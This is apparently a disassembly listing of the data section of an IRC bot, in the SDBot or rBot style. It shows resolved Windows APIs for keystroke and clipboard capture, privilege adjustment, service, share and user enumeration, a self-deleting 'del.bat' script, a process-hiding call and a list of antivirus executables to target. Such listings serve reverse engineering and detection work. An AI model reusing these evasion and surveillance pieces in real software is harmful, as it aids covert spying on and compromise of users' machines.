		align 4
aHttpopenreques	db 'HttpOpenRequestA',0 ; DATA XREF: sub_40E59D+7E7o
		align 4
aInternetgetc_0	db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_40E59D+7DAo
		dd 2 dup(0)
aInternetgetcon	db 'InternetGetConnectedState',0 ; DATA XREF: sub_40E59D+7D2o
		align 4
		dd 0
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_40E59D:loc_40ED5Eo
		dd 0
aClosesocket	db 'closesocket',0      ; DATA XREF: sub_40E59D+688o
		dd 0
aGetpeername	db 'getpeername',0      ; DATA XREF: sub_40E59D+67Bo
		dd 0
aGethostbyaddr	db 'gethostbyaddr',0    ; DATA XREF: sub_40E59D+66Eo
		align 4
aGethostbyname	db 'gethostbyname',0    ; DATA XREF: sub_40E59D+661o
		align 4
aGethostname	db 'gethostname',0      ; DATA XREF: sub_40E59D+654o
		dd 0
aGetsockname	db 'getsockname',0      ; DATA XREF: sub_40E59D+647o
		dd 0
aSetsockopt	db 'setsockopt',0       ; DATA XREF: sub_40E59D+63Ao
		align 4
		dd 0
aAccept		db 'accept',0           ; DATA XREF: sub_40E59D+62Do
		align 4
aListen		db 'listen',0           ; DATA XREF: sub_40E59D+620o
		align 4
aSelect		db 'select',0           ; DATA XREF: sub_40E59D+613o
		align 4
aBind		db 'bind',0             ; DATA XREF: sub_40E59D+60Bo
		align 4
aRecvfrom	db 'recvfrom',0         ; DATA XREF: sub_40E59D+5F9o
		align 4
aRecv		db 'recv',0             ; DATA XREF: sub_40E59D+5ECo
		align 10h
aSendto		db 'sendto',0           ; DATA XREF: sub_40E59D+5DFo
		align 4
aNtohl		db 'ntohl',0            ; DATA XREF: sub_40E59D+5C5o
		align 10h
aNtohs		db 'ntohs',0            ; DATA XREF: sub_40E59D+5B8o
		align 4
aHtonl		db 'htonl',0            ; DATA XREF: sub_40E59D+5ABo
		align 10h
aHtons		db 'htons',0            ; DATA XREF: sub_40E59D+59Eo
		align 4
aInet_addr	db 'inet_addr',0        ; DATA XREF: sub_40E59D+591o
		align 4
aInet_ntoa	db 'inet_ntoa',0        ; DATA XREF: sub_40E59D+584o
		align 10h
aConnect	db 'connect',0          ; DATA XREF: sub_40E59D+577o
		dd 0
aIoctlsocket	db 'ioctlsocket',0      ; DATA XREF: sub_40E59D+56Ao
		dd 0
aSocket		db 'socket',0           ; DATA XREF: sub_40E59D+55Do
		align 4
aWsacleanup	db 'WSACleanup',0       ; DATA XREF: sub_40E59D+550o
		align 10h
		dd 0
aWsagetlasterro	db 'WSAGetLastError',0  ; DATA XREF: sub_40E59D+543o
		align 8
aWsaioctl	db 'WSAIoctl',0         ; DATA XREF: sub_40E59D+536o
		align 4
a__wsafdisset	db '__WSAFDIsSet',0     ; DATA XREF: sub_40E59D+529o
		align 4
aWsaasyncselect	db 'WSAAsyncSelect',0   ; DATA XREF: sub_40E59D+51Co
		align 8
aWsasocketa	db 'WSASocketA',0       ; DATA XREF: sub_40E59D+50Fo
		align 8
aWsastartup	db 'WSAStartup',0       ; DATA XREF: sub_40E59D+507o
		align 8
aWs2_32_dll	db 'ws2_32.dll',0       ; DATA XREF: sub_40E59D+4F6o
		align 8
aDeleteobject	db 'DeleteObject',0     ; DATA XREF: sub_40E59D+483o
		align 4
aDeletedc	db 'DeleteDC',0         ; DATA XREF: sub_40E59D+476o
		align 4
aBitblt		db 'BitBlt',0           ; DATA XREF: sub_40E59D+469o
		align 4
aSelectobject	db 'SelectObject',0     ; DATA XREF: sub_40E59D+45Co
		align 4
aGetdibcolortab	db 'GetDIBColorTable',0 ; DATA XREF: sub_40E59D+44Fo
		align 10h
aGetdevicecaps	db 'GetDeviceCaps',0    ; DATA XREF: sub_40E59D+442o
		align 10h
aCreatecompatib	db 'CreateCompatibleDC',0 ; DATA XREF: sub_40E59D+435o
		align 8
aCreatedibsecti	db 'CreateDIBSection',0 ; DATA XREF: sub_40E59D+428o
		align 4
aCreatedca	db 'CreateDCA',0        ; DATA XREF: sub_40E59D+420o
		align 4
aGdi32_dll	db 'gdi32.dll',0        ; DATA XREF: sub_40E59D:loc_40E9ACo
		align 4
aGetusernamea	db 'GetUserNameA',0     ; DATA XREF: sub_40E59D:loc_40E984o
		align 4
aIsvalidsecurit	db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_40E59D+38Fo
		align 10h
		dd 0
aEnumservicesst	db 'EnumServicesStatusA',0 ; DATA XREF: sub_40E59D+382o
		dd 0
aCloseserviceha	db 'CloseServiceHandle',0 ; DATA XREF: sub_40E59D+375o
		align 10h
		dd 0
aDeleteservice	db 'DeleteService',0    ; DATA XREF: sub_40E59D+368o
		align 4
aControlservice	db 'ControlService',0   ; DATA XREF: sub_40E59D+35Bo
		align 8
aStartservicea	db 'StartServiceA',0    ; DATA XREF: sub_40E59D+34Eo
		align 4
aOpenservicea	db 'OpenServiceA',0     ; DATA XREF: sub_40E59D+341o
		align 4
aOpenscmanagera	db 'OpenSCManagerA',0   ; DATA XREF: sub_40E59D:loc_40E8D6o
		align 4
		dd 0
aAdjusttokenpri	db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_40E59D+309o
		align 8
aLookupprivileg	db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_40E59D+2FCo
		align 10h
		dd 0
aOpenprocesstok	db 'OpenProcessToken',0 ; DATA XREF: sub_40E59D:loc_40E891o
		align 4
aRegclosekey	db 'RegCloseKey',0      ; DATA XREF: sub_40E59D+2ACo
		align 8
aRegdeletevalue	db 'RegDeleteValueA',0  ; DATA XREF: sub_40E59D+29Fo
		dd 0
aRegqueryvaluee	db 'RegQueryValueExA',0 ; DATA XREF: sub_40E59D+292o
		align 10h
aRegsetvalueexa	db 'RegSetValueExA',0   ; DATA XREF: sub_40E59D+285o
		align 10h
		dd 0
aRegcreatekeyex	db 'RegCreateKeyExA',0  ; DATA XREF: sub_40E59D+278o
		align 8
aRegopenkeyexa	db 'RegOpenKeyExA',0    ; DATA XREF: sub_40E59D+270o
		align 4
aAdvapi32_dll	db 'advapi32.dll',0     ; DATA XREF: sub_40E59D:loc_40E7FCo
		align 4
aGetforegroundw	db 'GetForegroundWindow',0 ; DATA XREF: sub_40E59D+21Ao
		align 10h
aGetwindowtexta	db 'GetWindowTextA',0   ; DATA XREF: sub_40E59D+20Do
		align 10h
		dd 0
aGetkeystate	db 'GetKeyState',0      ; DATA XREF: sub_40E59D+200o
		dd 0
aGetasynckeysta	db 'GetAsyncKeyState',0 ; DATA XREF: sub_40E59D:loc_40E795o
		align 4
aExitwindowsex	db 'ExitWindowsEx',0    ; DATA XREF: sub_40E59D+1A0o
		align 4
aCloseclipboard	db 'CloseClipboard',0   ; DATA XREF: sub_40E59D+193o
		align 4
		dd 0
aGetclipboardda	db 'GetClipboardData',0 ; DATA XREF: sub_40E59D+186o
		align 10h
aOpenclipboard	db 'OpenClipboard',0    ; DATA XREF: sub_40E59D+179o
		align 10h
aDestroywindow	db 'DestroyWindow',0    ; DATA XREF: sub_40E59D+16Co
		align 10h
aIswindow	db 'IsWindow',0         ; DATA XREF: sub_40E59D+15Fo
		align 4
aFindwindowa	db 'FindWindowA',0      ; DATA XREF: sub_40E59D+152o
		dd 0
aSendmessagea	db 'SendMessageA',0     ; DATA XREF: sub_40E59D+14Ao
		align 4
aUser32_dll	db 'user32.dll',0       ; DATA XREF: sub_40E59D:loc_40E6D2o
					; sub_41F80A+Do
		align 4
		dd 0
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_40E59D:loc_40E6A5o
		align 8
aQueryperform_0	db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_40E59D+A0o
		align 8
aQueryperforman	db 'QueryPerformanceCounter',0 ; DATA XREF: sub_40E59D+93o
		dd 0
aSearchpatha	db 'SearchPathA',0      ; DATA XREF: sub_40E59D+86o
		dd 0
aGetdrivetypea	db 'GetDriveTypeA',0    ; DATA XREF: sub_40E59D+79o
		align 4
aGetlogicaldriv	db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_40E59D+6Co
		align 10h
aGetdiskfreespa	db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_40E59D+5Fo
		align 8
aModule32first	db 'Module32First',0    ; DATA XREF: sub_40E59D+52o
		align 4
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_40E59D+45o
		align 4
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_40E59D+38o
		align 4
		dd 0
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_40E59D+2Bo
		align 4
		dd 0
aSeterrormode	db 'SetErrorMode',0     ; DATA XREF: sub_40E59D+23o
		align 4
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_40E59D+Ao
		align 4
unk_4303AC	db    2			; DATA XREF: sub_40F54D+2F2o
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	69h, 72h
		db  1Fh
		db 62h,	1Fh, 20h
		db  2Dh	; -
		db 20h,	2, 5Dh
		db    2
aDllTestComplet	db '   DLL test complete.',0
		dd 2 dup(0)
aAvicap32_dllFa	db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40F54D+2CCo
		align 4
		dd 0
aOdbc32_dllFail	db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40F54D+298o
		align 8
aShell32_dllFai	db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40F54D+264o
		align 8
aMpr32_dllFaile	db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40F54D+230o
		align 10h
		dd 0
aIphlpapi_dllFa	db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40F54D+1FCo
		align 10h
		dd 0
aDnsapi_dllFail	db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40F54D+1C8o
		align 10h
aNetapi32_dllFa	db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40F54D+194o
		align 10h
aIcmp_dllFailed	db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40F54D+160o
		align 4
		dd 0
aWininet_dllFai	db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40F54D+12Co
		align 4
		dd 0
aWs2_32_dllFail	db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40F54D+F8o
		align 8
aGdi32_dllFaile	db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40F54D+C4o
		align 10h
		dd 0
aAdvapi32_dllFa	db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40F54D+90o
		align 10h
		dd 0
aUser32_dllFail	db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40F54D+5Co
		align 10h
aKernel32_dllFa	db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40F54D+28o
		align 10h
aSErrorSD_	db '%s Error: %s <%d>.',0 ; DATA XREF: sub_40FC36+72o
		align 8
aMirc_0		db 'mIRC',0             ; DATA XREF: sub_40FD2B+5o
					; sub_412583+18o
		align 10h
aExplorer_exe	db 'explorer.exe',0     ; DATA XREF: sub_40FDCD+1Co
		align 10h
aSeshutdownpriv	db 'SeShutdownPrivilege',0 ; DATA XREF: sub_40FF37+2o
		align 8
aComspecCSS	db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_40FF61+140o
		align 10h
		dd 0
a@echoOffRepeat	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_40FF61+85o
		db ':repeat',0Dh,0Ah
		db 'del "%%1"',0Dh,0Ah
		db 'if exist "%%1" goto repeat',0Dh,0Ah
		db 'del "%s"',0
		dd 4 dup(0)
aSdel_bat	db '%sdel.bat',0        ; DATA XREF: sub_40FF61+48o
		align 8
off_430648	dd offset aAdd		; DATA XREF: sub_41014B+6Dr
					; sub_410626+50r ...
					; "Add"
off_43064C	dd offset aAdded	; DATA XREF: sub_41014B+2Dr
					; sub_410626+82r ...
					; "Added"
dword_430650	dd 0			; DATA XREF: sub_41014B+18r
		dd offset aDelete_0	; "Delete"
		dd offset aDeleted	; "Deleted"
		align 10h
		dd offset aList_0	; "List"
		dd offset aListed	; "Listed"
		dd 0
		dd offset aStart_0	; "Start"
		dd offset aStarted	; "Started"
		align 8
		dd offset aStop_0	; "Stop"
		dd offset aStopped_0	; "Stopped"
		dd 1, 4306CCh, 4306C4h,	2, 4306B8h, 4306ACh, 3,	4 dup(0)
aContinued	db 'Continued',0
		align 4
aContinue_0	db 'Continue',0
		align 4
aPaused_0	db 'Paused',0
		align 4
aPause_0	db 'Pause',0
		align 4
aStopped_0	db 'Stopped',0          ; DATA XREF: .data:0043067Co
		align 10h
aStop_0		db 'Stop',0             ; DATA XREF: .data:00430678o
		align 4
aStarted	db 'Started',0          ; DATA XREF: .data:00430670o
		dd 0
aStart_0	db 'Start',0            ; DATA XREF: .data:0043066Co
		align 4
aListed		db 'Listed',0           ; DATA XREF: .data:00430664o
		align 4
aList_0		db 'List',0             ; DATA XREF: .data:00430660o
		align 4
aDeleted	db 'Deleted',0          ; DATA XREF: .data:00430658o
		align 8
aDelete_0	db 'Delete',0           ; DATA XREF: .data:00430654o
		align 10h
aAdded		db 'Added',0            ; DATA XREF: .data:off_43064Co
		align 4
aAdd		db 'Add',0              ; DATA XREF: .data:off_430648o
unk_43072C	db    2			; DATA XREF: sub_41014B+74o
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	6Eh, 65h
		db  1Fh
		db 74h,	1Fh, 20h
		db  2Dh	; -
		db 20h,	2, 5Dh
		db    2
aSNoServiceSpec	db '   %s: No service specified.',0
		align 4
		dd 2 dup(0)
unk_430764	db    2			; DATA XREF: sub_41014B+55o
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	6Eh, 65h
		db  1Fh
		db 74h,	1Fh, 20h
		db  2Dh	; -
		db 20h,	2, 5Dh
		db    2
aErrorWithServi	db '   Error with service: ',27h,'%s',27h,'. %s',0
		align 10h
unk_4307A0	db    2			; DATA XREF: sub_41014B+38o
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	6Eh, 65h
		db  1Fh
		db 74h,	1Fh, 20h
		db  2Dh	; -
		db 20h,	2, 5Dh
		db    2
aSServiceS_	db '   %s service: ',27h,'%s',27h,'.',0
		align 10h
aAnUnknownError	db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_4102BD+12Co
		align 8
aTheSystemIsShu	db 'The system is shutting down.',0 ; DATA XREF: sub_4102BD:loc_4103D5o
		align 4
		dd 0
aTheServiceHasN	db 'The service has not been started.',0 ; DATA XREF: sub_4102BD:loc_4103CEo
		align 10h
		dd 0
aTheRequested_1	db 'The requested control code cannot be sent to the service because '
					; DATA XREF: sub_4102BD:loc_4103C7o
		db 'the state of the service.',0
		align 10h
		dd 5 dup(0)
aTheServiceHa_0	db 'The service has been marked for deletion.',0
					; DATA XREF: sub_4102BD:loc_4103C0o
		align 10h
		dd 2 dup(0)
aTheServiceCoul	db 'The service could not be logged on. The account does not have the'
					; DATA XREF: sub_4102BD:loc_4103B9o
		db ' correct access rights.',0
		align 4
		dd 4 dup(0)
aTheSpecified_0	db 'The specified service does not exist.',0
					; DATA XREF: sub_4102BD:loc_4103B2o
		align 4
		dd 2 dup(0)
aTheServiceHasB	db 'The service has been disabled.',0 ; DATA XREF: sub_4102BD:loc_4103ABo
		align 4
		dd 2 dup(0)
aTheServiceDe_0	db 'The service depends on another service that has failed to start.',0
					; DATA XREF: sub_4102BD:loc_4103A4o
		align 10h
		dd 3 dup(0)
aTheServiceDepe	db 'The service depends on a service that does not exist or has been '
					; DATA XREF: sub_4102BD:loc_41039Do
		db 'marked for deletion.',0
		align 4
		dd 4 dup(0)
aTheSpecifiedDa	db 'The specified database does not exist.',0
					; DATA XREF: sub_4102BD:loc_410396o
		align 4
		dd 2 dup(0)
aAnInstanceOfTh	db 'An instance of the service is already running.',0
					; DATA XREF: sub_4102BD:loc_41036Bo
		align 4
		dd 2 dup(0)
aTheRequested_0	db 'The requested control code is not valid, or it is unacceptable to'
					; DATA XREF: sub_4102BD:loc_410364o
		db ' the service.',0
		align 4
		dd 4 dup(0)
aTheProcessForT	db 'The process for the service was started, but it did not call Star'
					; DATA XREF: sub_4102BD:loc_41035Do
		db 'tServiceCtrlDispatcher.',0
		align 4
		dd 4 dup(0)
aAThreadCouldNo	db 'A thread could not be created for the service.',0
					; DATA XREF: sub_4102BD:loc_410356o
		align 10h
aTheDatabaseIsL	db 'The database is locked.',0 ; DATA XREF: sub_4102BD+8Fo
		dd 0
aTheServiceCann	db 'The service cannot be stopped because other running services are '
					; DATA XREF: sub_4102BD:loc_41032Bo
		db 'dependent on it.',0
		align 10h
		dd 4 dup(0)
aTheServiceBina	db 'The service binary file could not be found.',0
					; DATA XREF: sub_4102BD:loc_410321o
		dd 2 dup(0)
aTheHandleDoesN	db 'The handle does not have the required access right.',0
					; DATA XREF: sub_4102BD:loc_410317o
		dd 3 dup(0)
aTheHandleIsInv	db 'The handle is invalid.',0 ; DATA XREF: sub_4102BD:loc_41030Do
		align 10h
aTheRequestedCo	db 'The requested control code is undefined.',0
					; DATA XREF: sub_4102BD:loc_410303o
		align 4
		dd 2 dup(0)
aTheSpecifiedSe	db 'The specified service name is invalid.',0 ; DATA XREF: sub_4102BD+3Co
		align 4
		dd 2 dup(0)
aSSS_2		db '%s: %s (%s)',0      ; DATA XREF: sub_41049A+EBo
		dd 0
aStopped	db '    Stopped',0      ; DATA XREF: sub_41049A:loc_410566o
		dd 0
aStarting	db '   Starting',0      ; DATA XREF: sub_41049A:loc_41055Fo
		dd 0
aStoping	db '    Stoping',0      ; DATA XREF: sub_41049A:loc_410558o
		dd 0
aRunning	db '    Running',0      ; DATA XREF: sub_41049A:loc_410551o
		dd 0
aContinuing	db ' Continuing',0      ; DATA XREF: sub_41049A:loc_41054Ao
		dd 0
aPausing	db '    Pausing',0      ; DATA XREF: sub_41049A:loc_410543o
		dd 0
aPaused		db '     Paused',0      ; DATA XREF: sub_41049A:loc_41053Co
		dd 0
aUnknown_0	db '    Unknown',0      ; DATA XREF: sub_41049A+9Bo
		dd 0
aTheFollowingWi	db 'The following Windows services are registered:',0
					; DATA XREF: sub_41049A+25o
		align 4
		dd 2 dup(0)
unk_430E0C	db    2			; DATA XREF: sub_410626+ABo
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	6Eh, 65h
		db  1Fh
		db 74h,	1Fh, 20h
		db  2Dh	; -
		db 20h,	2, 5Dh
		db    2
aSNoShareSpecif	db '   %s: No share specified.',0
		align 4
		dd 2 dup(0)
unk_430E44	db    2			; DATA XREF: sub_410626+89o
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	6Eh, 65h
		db  1Fh
		db 74h,	1Fh, 20h
		db  2Dh	; -
		db 20h,	2, 5Dh
		db    2
aSShareS_	db '   %s share: ',27h,'%s',27h,'.',0
		align 10h
unk_430E70	db    2			; DATA XREF: sub_410626+57o
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	6Eh, 65h
		db  1Fh
		db 74h,	1Fh, 20h
		db  2Dh	; -
		db 20h,	2, 5Dh
		db    2
aSErrorWithShar	db '   %s: Error with share: ',27h,'%s',27h,'. %s',0
		align 10h
a14s24s6u4s	db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_410895+D0o
		align 4
		dd 0
aNo		db 'No',0               ; DATA XREF: sub_410895+BCo
		align 10h
aYes		db 'Yes',0              ; DATA XREF: sub_410895+B5o
unk_430ED4	db    2			; DATA XREF: sub_410895+76o
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	6Eh, 65h
		db  1Fh
		db 74h,	1Fh, 20h
		db  2Dh	; -
		db 20h,	2, 5Dh
		db    2
aShareListError	db '   Share list error: %s <%ld>',0
		align 10h
aShareNameResou	db 'Share name:    Resource:                Uses:  Desc:',0
					; DATA XREF: sub_410895+26o
		align 10h
unk_430F50	db    2			; DATA XREF: sub_4109FE+B6o
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	6Eh, 65h
		db  1Fh
		db 74h,	1Fh, 20h
		db  2Dh	; -
		db 20h,	2, 5Dh
		db    2
aSNoUsernameSpe	db '   %s: No username specified.',0
		dd 3 dup(0)
unk_430F8C	db    2			; DATA XREF: sub_4109FE+94o
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	6Eh, 65h
		db  1Fh
		db 74h,	1Fh, 20h
		db  2Dh	; -
		db 20h,	2, 5Dh
		db    2
aSErrorWithUser	db '   %s: Error with username: ',27h,'%s',27h,'. %s',0
		align 10h
unk_430FD0	db    2			; DATA XREF: sub_4109FE+6Do
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	6Eh, 65h
		db  1Fh
		db 74h,	1Fh, 20h
		db  2Dh	; -
		db 20h,	2, 5Dh
		db    2
aSUsernameS_	db '   %s username: ',27h,'%s',27h,'.',0
		align 10h
unk_431000	db    2			; DATA XREF: sub_410B94+394o
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	6Eh, 65h
		db  1Fh
		db 74h,	1Fh, 20h
		db  2Dh	; -
		db 20h,	2, 5Dh
		db    2
aUserInfoErrorL	db '   User info error: <%ld>',0
		dd 2 dup(0)
aUnitsPerWeekD	db 'Units Per Week: %d',0 ; DATA XREF: sub_410B94+36Ao
		align 4
		dd 0
aMax_StorageD	db 'Max. Storage: %d',0 ; DATA XREF: sub_410B94+33Fo
		align 10h
aUserSLanguageD	db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_410B94+317o
		align 8
aCountryCodeD	db 'Country Code: %d',0 ; DATA XREF: sub_410B94+2ECo
		align 4
aWorkstationsS	db 'Workstations: %S',0 ; DATA XREF: sub_410B94+2C4o
		align 10h
aLogonServerS	db 'Logon Server: %S',0 ; DATA XREF: sub_410B94+299o
		align 4
aLastLogoffD	db 'Last Logoff: %d',0  ; DATA XREF: sub_410B94+271o
		align 8
aLastLogonD	db 'Last Logon: %d',0   ; DATA XREF: sub_410B94+246o
		align 4
		dd 0
aNumberOfLogins	db 'Number of Logins: %d',0 ; DATA XREF: sub_410B94+21Eo
		align 8
aBadPasswordCou	db 'Bad Password Count: %d',0 ; DATA XREF: sub_410B94+1F3o
		align 10h
		dd 0
aPasswordAgeD	db 'Password Age: %d',0 ; DATA XREF: sub_410B94+1CBo
		align 4
aParametersS	db 'Parameters: %S',0   ; DATA XREF: sub_410B94+1A0o
		align 4
		dd 0
aHomeDirectoryS	db 'Home Directory: %S',0 ; DATA XREF: sub_410B94+178o
		align 10h
		dd 0
aAuthFlagsD	db 'Auth Flags: %d',0   ; DATA XREF: sub_410B94+14Do
		align 8
aPrivilegeLevel	db 'Privilege Level: %s',0 ; DATA XREF: sub_410B94+125o
		align 10h
aCommentS	db 'Comment: %S',0      ; DATA XREF: sub_410B94+D4o
		align 10h
aUserCommentS	db 'User Comment: %S',0 ; DATA XREF: sub_410B94+ACo
		align 4
aFullNameS	db 'Full Name: %S',0    ; DATA XREF: sub_410B94+81o
		align 4
aAccountS	db 'Account: %S',0      ; DATA XREF: sub_410B94+50o
		dd 0
aTotalUsersFoun	db 'Total users found: %d.',0 ; DATA XREF: sub_411055+14Fo
		align 10h
unk_4311E0	db    2			; DATA XREF: sub_411055+F7o
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	6Eh, 65h
		db  1Fh
		db 74h,	1Fh, 20h
		db  2Dh	; -
		db 20h,	2, 5Dh
		db    2
aAnAccessViolat	db '   An access violation has occured.',0
		align 10h
aS_3		db '  %S',0             ; DATA XREF: sub_411055+BEo
		align 4
unk_431228	db    2			; DATA XREF: sub_411055+7Ao
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	6Eh, 65h
		db  1Fh
		db 74h,	1Fh, 20h
		db  2Dh	; -
		db 20h,	2, 5Dh
		db    2
aUserListErrorS	db '   User list error: %s <%ld>',0
		align 10h
aUsernameAccoun	db 'Username accounts for local system:',0 ; DATA XREF: sub_411055+29o
		dd 2 dup(0)
aNetworkConnect	db 'Network connection not found.',0 ; DATA XREF: sub_411235:loc_411352o
		align 10h
aTheUserNameCou	db 'The user name could not be found.',0 ; DATA XREF: sub_411235:loc_41134Bo
		align 8
aShareNotFound_	db 'Share not found.',0 ; DATA XREF: sub_411235:loc_411344o
		align 4
aTheComputerNam	db 'The computer name is invalid.',0 ; DATA XREF: sub_411235:loc_41133Do
		align 10h
aAnUnknownErr_0	db 'An unknown error occurred.',0 ; DATA XREF: sub_411235:loc_411336o
		align 10h
aThePasswordIsS	db 'The password is shorter than required (or does not meet the passw'
					; DATA XREF: sub_411235:loc_411319o
		db 'ord policy requirement.)',0
		align 4
		dd 4 dup(0)
aTheGroupAlread	db 'The group already exists.',0 ; DATA XREF: sub_411235:loc_411312o
		align 4
		dd 0
aTheUserAccount	db 'The user account already exists.',0 ; DATA XREF: sub_411235:loc_41130Bo
		align 10h
		dd 0
aTheOperationIs	db 'The operation is allowed only on the primary domain controller of'
					; DATA XREF: sub_411235+CFo
		db ' the domain.',0
		align 4
		dd 4 dup(0)
aAGeneralFailur	db 'A general failure occurred in the network hardware.',0
					; DATA XREF: sub_411235:loc_4112E0o
		dd 3 dup(0)
aLevelParameter	db 'Level parameter is invalid.',0 ; DATA XREF: sub_411235:loc_4112D9o
		dd 2 dup(0)
aDeviceOrDirect	db 'Device or directory does not exist.',0
					; DATA XREF: sub_411235:loc_4112D2o
		dd 2 dup(0)
aInvalidForRedi	db 'Invalid for redirected resource.',0 ; DATA XREF: sub_411235:loc_4112C8o
		align 4
		dd 0
aDuplicateShare	db 'Duplicate share name.',0 ; DATA XREF: sub_411235+89o
		align 8
aTheNameIsInval	db 'The name is invalid.',0 ; DATA XREF: sub_411235:loc_4112A2o
		align 10h
		dd 0
aAccessDenied_	db 'Access denied.',0   ; DATA XREF: sub_411235:loc_411298o
		align 8
aNotEnoughMemor	db 'Not enough memory.',0 ; DATA XREF: sub_411235:loc_41128Eo
		align 10h
aThisNetworkReq	db 'This network request is not supported.',0
					; DATA XREF: sub_411235:loc_411284o
		align 10h
aServerNameNotF	db 'Server name not found.',0 ; DATA XREF: sub_411235:loc_41127Ao
		align 4
		dd 0
aInvalidParamet	db 'Invalid parameter.',0 ; DATA XREF: sub_411235+3Bo
		align 10h
		dd 0
unk_4315C4	db    2			; DATA XREF: sub_4113B6+ABo
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	6Eh, 65h
		db  1Fh
		db 74h,	1Fh, 20h
		db  2Dh	; -
		db 20h,	2, 5Dh
		db    2
aSServerSMessag	db '   %s <Server: %S> <Message: %S>',0
		align 4
		dd 3 dup(0)
unk_431604	db    2			; DATA XREF: sub_4113B6+81o
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	6Eh, 65h
		db  1Fh
		db 74h,	1Fh, 20h
		db  2Dh	; -
		db 20h,	2, 5Dh
		db    2
aMessageSentSuc	db '   Message sent successfully.',0
		align 10h
dword_431640	dd 20025B02h, 6C66202Dh, 64687375h, 1F731F6Eh, 2202D20h
					; DATA XREF: sub_4115A6:loc_411665o
		dd 0BB20025Dh
aNotSupportedBy	db '  Not supported by this system.',0
		dd 3 dup(0)
dword_431684	dd 20025B02h, 6C66202Dh, 64687375h, 1F731F6Eh, 2202D20h
					; DATA XREF: sub_4115A6:loc_411633o
		dd 0BB20025Dh
aUnableToAlloca	db '  Unable to allocation ARP cache.',0
		align 10h
		dd 3 dup(0)
dword_4316CC	dd 20025B02h, 6C66202Dh, 64687375h, 1F731F6Eh, 2202D20h
					; DATA XREF: sub_4115A6:loc_4115FFo
		dd 0BB20025Dh
aArpCacheIsEmpt	db '  ARP cache is empty.',0
		align 4
		dd 2 dup(0)
dword_431704	dd 20025B02h, 6C66202Dh, 64687375h, 1F731F6Eh, 2202D20h
					; DATA XREF: sub_4115A6+49o
		dd 0BB20025Dh
aErrorGettingAr	db '  Error getting ARP cache: <%d>.',0
		align 10h
		dd 2 dup(0)
dword_431748	dd 7530h		; DATA XREF: sub_411C89+12r
off_43174C	dd offset aAckwin32_exe	; DATA XREF: sub_411876+CBo
					; "ACKWIN32.EXE"
		dd offset aAdaware_exe	; "ADAWARE.EXE"
		dd offset aAdvxdwin_exe	; "ADVXDWIN.EXE"
		dd offset aAgentsvr_exe	; "AGENTSVR.EXE"
		dd offset aAgentw_exe	; "AGENTW.EXE"
		dd offset aAlertsvc_exe	; "ALERTSVC.EXE"
		dd offset aAlevir_exe	; "ALEVIR.EXE"
		dd offset aAlogserv_exe	; "ALOGSERV.EXE"
		dd offset aAmon9x_exe	; "AMON9X.EXE"
		dd offset aAntiTrojan_exe ; "ANTI-TROJAN.EXE"
		dd offset aAntivirus_exe ; "ANTIVIRUS.EXE"
		dd offset aAnts_exe	; "ANTS.EXE"
		dd offset aApimonitor_exe ; "APIMONITOR.EXE"
		dd offset aAplica32_exe	; "APLICA32.EXE"
		dd offset aApvxdwin_exe	; "APVXDWIN.EXE"
		dd offset aArr_exe	; "ARR.EXE"
		dd offset aAtcon_exe	; "ATCON.EXE"
		dd offset aAtguard_exe	; "ATGUARD.EXE"
		dd offset aAtro55en_exe	; "ATRO55EN.EXE"
		dd offset aAtupdater_exe ; "ATUPDATER.EXE"
		dd offset aAtupdater_exe ; "ATUPDATER.EXE"
		dd offset aAtwatch_exe	; "ATWATCH.EXE"
		dd offset aAu_exe	; "AU.EXE"
		dd offset aAupdate_exe	; "AUPDATE.EXE"
		dd offset aAupdate_exe	; "AUPDATE.EXE"
		dd offset aAutodown_exe	; "AUTODOWN.EXE"
		dd offset aAutodown_exe	; "AUTODOWN.EXE"
		dd offset aAutotrace_exe ; "AUTOTRACE.EXE"
